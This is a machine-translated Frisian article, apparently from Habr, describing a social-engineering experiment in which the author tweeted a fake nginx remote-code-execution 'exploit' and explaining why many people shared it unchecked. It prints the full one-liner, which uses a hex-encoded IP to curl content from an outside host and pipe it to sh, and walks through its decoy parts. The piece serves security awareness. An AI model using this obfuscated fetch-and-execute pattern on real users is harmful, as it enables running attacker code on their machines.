Súkses fan in sosjaal eksperimint mei in falske nginx eksploitaasje

Noat. transl.: skriuwer orizjinele notysje, publisearre op 1. june, besletten in útfiere in eksperimint ûnder dyjingen dy't ynteressearre yn ynformaasje feiligens. Om dit te dwaan, makke hy in falske eksploitaasje foar in ûnbekende kwetsberens yn 'e webserver en pleatste it op syn Twitter. Syn oannames - om daliks bleatsteld te wurden troch spesjalisten dy't de foar de hân lizzende bedrog yn 'e koade sjen soene - kamen net allinich net wier ... Se oertroffen alle ferwachtingen, en yn 'e tsjinoerstelde rjochting: de tweet krige enoarme stipe fan in protte minsken dy't net kontrolearje de ynhâld.

Súkses fan in sosjaal eksperimint mei in falske nginx eksploitaasje

TL;DR: Brûk ûnder gjin omstannichheden triempipelining yn sh of bash. Dit is in geweldige manier om de kontrôle oer jo kompjûter te ferliezen.

Ik wol in koart ferhaal mei jo diele oer in komyske PoC-exploitaasje dy't makke is op 31 maaie. Hy ferskynde prompt yn reaksje op nijs fan Alisa Esage Shevchenko, lid Zero Day Inisjatyf (ZDI), dat ynformaasje oer in kwetsberens yn NGINX dy't liedt ta RCE (útfiering fan koade op ôfstân) sil ynkoarten wurde iepenbiere. Sûnt NGINX in protte websides macht, moat it nijs in bom west hawwe. Mar fanwegen fertragingen yn it proses "ferantwurde iepenbiering" wiene de details fan wat barde net bekend - dit is standert ZDI-proseduere.

Súkses fan in sosjaal eksperimint mei in falske nginx eksploitaasje
tweet oer kwetsberens iepenbiering yn NGINX

Nei it wurk oan in nije obfuscation-technyk yn curl, haw ik de orizjinele tweet oanhelle en "in wurkjende PoC lekt" besteande út in inkelde rigel koade dy't de ûntdutsen kwetsberens soe eksploitearje. Fansels wie dit folsleine ûnsin. Ik gong der fan út dat ik fuortdaliks bleatsteld wurde soe, en dat ik op syn bêst in pear retweets krije soe (och goed).

Súkses fan in sosjaal eksperimint mei in falske nginx eksploitaasje
tweet mei falske eksploitaasje

Ik koe my lykwols net yntinke wat der dêrnei barde. De populariteit fan myn tweet gie omheech. Ferrassend, op it stuit (15:00 Moskouske tiid 1 juny) hawwe in pear minsken realisearre dat dit in nep is. In protte minsken retweet it sûnder it hielendal te kontrolearjen (lit stean te bewûnderjen fan de moaie ASCII-grafiken dy't it útfiert).

Súkses fan in sosjaal eksperimint mei in falske nginx eksploitaasje
Sjoch mar hoe moai it is!

Hoewol al dizze loops en kleuren geweldich binne, is it dúdlik dat minsken koade op har masine moasten útfiere om se te sjen. Lokkich wurkje browsers op deselde manier, en kombinearre mei it feit dat ik net echt yn juridyske problemen woe, wie de koade begroeven op myn side gewoan echo-oproppen sûnder besykjen om ekstra koade te ynstallearjen of út te fieren.

Lytse ôfwiking: netspooky, dnz, ik en de oare jonges fan it team Thugcrowd Wy boartsje al in skoft mei ferskate manieren om krulkommando's te ferbergjen, om't it cool is ... en wy binne geeks. netspooky en dnz ûntdutsen ferskate nije metoaden dy't my ekstreem kânsryk liken. Ik die mei oan 'e wille en besocht IP-desimale konversaasjes ta te foegjen oan' e tas fan trúkjes. It docht bliken dat IP ek kin wurde omboud ta hexadesimale formaat. Boppedat ite curl en de measte oare NIX-ark lokkich hexadesimale IP's! Dat it wie gewoan in kwestje fan it meitsjen fan in oertsjûgjende en feilige kommandorigel. Uteinlik bin ik op dizze fêststeld:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sosjaal-elektroanyske yngenieur (SEE) is mear dan allinich phishing

Feiligens en bekendheid wiene in grut part fan dit eksperimint. Ik tink dat se binne wat late ta syn súkses. De kommandorigel ymplisearre dúdlik feiligens troch te ferwizen nei "127.0.0.1" (de bekende localhost). Localhost wurdt beskôge as feilich en de gegevens dêrop ferlitte jo kompjûter noait.

Fertroudheid wie de twadde kaai SEE-komponint fan it eksperimint. Om't it doelpublyk foaral bestie út minsken dy't bekend wiene mei de basis fan kompjûterfeiligens, wie it wichtich om koade te meitsjen sadat dielen derfan fertroud en fertroud liken (en dus feilich). It lienjen fan eleminten fan âlde eksploitaasjebegripen en it kombinearjen op in ûngewoane manier hat bliken dien tige suksesfol te wêzen.

Hjirûnder is in detaillearre analyze fan 'e one-liner. Alles op dizze list draacht kosmetyske natuer, en praktysk neat is nedich foar syn eigentlike wurking.

Hokker komponinten binne echt nedich? Dit -gsS, -O 0x0238f06a, |sh en de webserver sels. De webserver befette gjin kweade ynstruksjes, mar tsjinne gewoan ASCII-grafiken mei kommando's echo yn it skript befette yn index.html. Doe't de brûker ynfierd in rigel mei |sh yn it midden, index.html laden en útfierd. Gelokkich hiene de hoeders fan 'e webserver gjin kweade bedoelingen.

  • ../../../%00 - fertsjintwurdiget fierder gean as de map;
  • ngx_stream_module.so - paad nei in willekeurige NGINX-module;
  • /bin/sh%00<'protocol:TCP' - wy binne nei alle gedachten lansearring /bin/sh op 'e doelmasine en omliede de útfier nei it TCP-kanaal;
  • -O 0x0238f06a#PLToffset - geheime yngrediïnt, oanfolle #PLToffset, te sjen as in ûnthâld offset ien of oare wize befette yn de PLT;
  • |sh; - in oar wichtich fragmint. Wy moasten de útfier omliede nei sh/bash om de koade út te fieren dy't komt fan 'e oanfallende webserver dy't leit op 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - in dummy wêryn netcat ferwiist nei /dev/tcp/localhostsadat alles wer feilich liket. Yn feite docht it neat en is opnommen yn 'e line foar skientme.

Dit konkludearret de dekodearring fan it ien-line skript en de diskusje oer aspekten fan "sosjaal-elektroanyske engineering" (yngewikkelde phishing).

Webserverkonfiguraasje en tsjinmaatregels

Om't de grutte mearderheid fan myn abonnees infosec/hackers binne, besleat ik de webserver in bytsje mear resistint te meitsjen foar útdrukkingen fan "belang" fan har kant, krekt sadat de jonges wat te dwaan hawwe (en it soe leuk wêze om opsette). Ik sil hjir net alle falkûlen opskriuwe, om't it eksperimint noch oanhâldt, mar hjir binne in pear dingen dy't de tsjinner docht:

  • Kontrolearret aktyf distribúsjepogingen op bepaalde sosjale netwurken en ferfangt ferskate foarbyldminiatueren om de brûker te stimulearjen om op de keppeling te klikken.
  • Ferwiist Chrome/Mozilla/Safari/etc nei de Thugcrowd-promoasjefideo ynstee fan it shell-skript sjen te litten.
  • Sjocht nei DUIDELIJKE tekens fan ynbraak / blatante hacking, en begjint dan fersiken om te ferwizen nei NSA-tsjinners (ha!).
  • Ynstallearret in Trojan, lykas in BIOS rootkit, op alle kompjûters wêrfan brûkers de host besykje fan in gewoane browser (gewoan in grapke!).

Súkses fan in sosjaal eksperimint mei in falske nginx eksploitaasje
In lyts part fan antimers

Yn dit gefal wie myn iennichste doel om guon fan 'e funksjes fan Apache te behearskjen - benammen de koele regels foar it omlieden fan oanfragen - en ik tocht: wêrom net?

NGINX Exploit (echt!)

Ynskriuwe foar @alisaesage op Twitter en folgje it geweldige wurk fan ZDI om heul echte kwetsberens oan te pakken en kânsen te eksploitearjen yn NGINX. Harren wurk hat my altyd fassinearre en ik bin Alice tankber foar har geduld mei alle fermeldingen en notifikaasjes dy't myn domme tweet feroarsake hat. Gelokkich die it ek wat goed: it holp it bewustwêzen fan NGINX-kwetsberheden te ferheegjen, lykas ek problemen feroarsake troch misbrûk fan krul.

Boarne: www.habr.com

Add a comment